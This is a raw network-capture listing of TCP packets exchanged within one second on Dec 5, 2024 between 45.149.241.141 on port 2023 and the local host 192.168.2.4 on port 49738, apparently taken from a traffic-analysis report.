Dec 5, 2024 10:46:36.561522961 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.561572075 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.562746048 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.563050985 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.563091040 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.563863039 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.563879013 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.563910961 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.564857006 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.564965963 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.565001965 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.565943956 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.566063881 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.566108942 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.566994905 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.567132950 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.567169905 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.568164110 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.568280935 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.568325996 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.569394112 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.569808960 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.569853067 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.570624113 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.570755959 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.570822954 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.571573019 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.571700096 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.571737051 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.572694063 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.572887897 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.572931051 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.574008942 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.574141979 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.574187994 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.575109005 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.575237989 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.575280905 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.576069117 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.576203108 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.576248884 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.577438116 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.577454090 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.577491045 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.578521967 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.578645945 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.578685045 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.579543114 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.579823017 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.579864979 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.580750942 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.580877066 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.580923080 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.581954002 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.581969976 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.582004070 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.582952023 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.583091974 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.583132029 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.584172964 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.584459066 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.584505081 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.585346937 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.585469007 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.585505962 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.586457968 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.586580038 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.586621046 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.587681055 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.587697029 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.587735891 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.588627100 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.588754892 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.588818073 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.589812040 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.589945078 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.590979099 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.591043949 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.591093063 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.591131926 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.592128992 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.592174053 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.592186928 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.592201948 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.592232943 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.592263937 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.593075037 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.593141079 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.594049931 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.594116926 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.594185114 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.594223022 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.594995975 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.595066071 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.595447063 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.599148989 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.599673986 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.599689960 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.599704027 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.599740028 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.599771976 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.599807024 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.732150078 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.732247114 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.732264996 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.732525110 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.732789040 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.732801914 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.732831955 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.732880116 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.733949900 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.734056950 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.734101057 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.735121012 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.735244036 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.735285997 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.736200094 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.736371040 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.736427069 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.737191916 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.737207890 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.737221003 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.737236977 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.737262011 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.737309933 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.738353014 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.738509893 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.738557100 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.739487886 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.739825010 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.739882946 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.740612030 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.740653992 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.740698099 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.741718054 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.741820097 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.741864920 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.742835045 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.742985010 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.743042946 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.744028091 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.744091988 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.744143963 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.745119095 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.745224953 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.746043921 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.746259928 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.746354103 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.746400118 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.747395039 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.747458935 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.747505903 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.748605013 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.748759031 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.748802900 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.749762058 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.749948978 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.749995947 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.750850916 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.750864983 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.750910044 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.751956940 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.752094984 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.752145052 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.753077030 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.753215075 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.753261089 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.754195929 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.754285097 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.754405022 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.755482912 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.755568981 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.755616903 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.756534100 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.756654978 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.756707907 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.757632971 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.757736921 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.757785082 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.759052038 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.759078979 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.759145975 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.760035992 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.760094881 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.760140896 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.761061907 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.761162043 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.761208057 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.762296915 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.762370110 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.762413979 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.763387918 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.763508081 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.763554096 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.764482021 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.764563084 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.764604092 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.765629053 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.765795946 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.765849113 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.766788960 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.766834021 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.768146038 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.768244028 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.768613100 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.769123077 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.769210100 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.769325018 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.770211935 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.770281076 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.770332098 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.771364927 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.771461964 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.771513939 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.772453070 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.772562027 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.772624016 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.773619890 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.773745060 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.773809910 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.774750948 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.774833918 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.774883986 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.775913000 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.776070118 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.776114941 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.777170897 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.777234077 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.777275085 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.778153896 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.778222084 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.778269053 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.779299974 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.779391050 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.779439926 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.780473948 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.780518055 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.780575991 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.781611919 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.781693935 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.781795025 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.782838106 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.782917976 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.782973051 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.783863068 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.783960104 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.784019947 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.785036087 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.785151958 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.785347939 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.786178112 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.786237955 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.786294937 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.786751986 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.786870956 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.786921024 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.787898064 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.788048029 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.788103104 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.789057970 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.789163113 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.789216042 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.790611029 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.922926903 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.923057079 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.923089027 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.923335075 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.923455000 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.923501015 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.924279928 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.924344063 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.924380064 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.925420046 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.925473928 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.925487041 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.926527977 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.926575899 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.926632881 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.927650928 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.927711010 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.927762985 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.928901911 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.928929090 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.928985119 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.929941893 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.929969072 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.929990053 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.931086063 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.931143045 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.931170940 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.932236910 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.932323933 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.932385921 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.933408022 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.933475971 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.933505058 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.934916973 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.934978008 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.935019970 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.935623884 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.935667992 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.935717106 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.936804056 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.936847925 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.936885118 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.938251972 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.938316107 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.938422918 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.939419985 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.939519882 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.939575911 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.940469027 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.940531015 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.940570116 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.941515923 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.941570997 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.941618919 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.942615986 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.942668915 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.942678928 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.943784952 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.943834066 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.943900108 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.944996119 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.945059061 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.945123911 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.946154118 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.946211100 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.946229935 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.947566032 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.947618961 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.947685957 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.948617935 CET	2023	49738	45.149.241.141	192.168.2.4
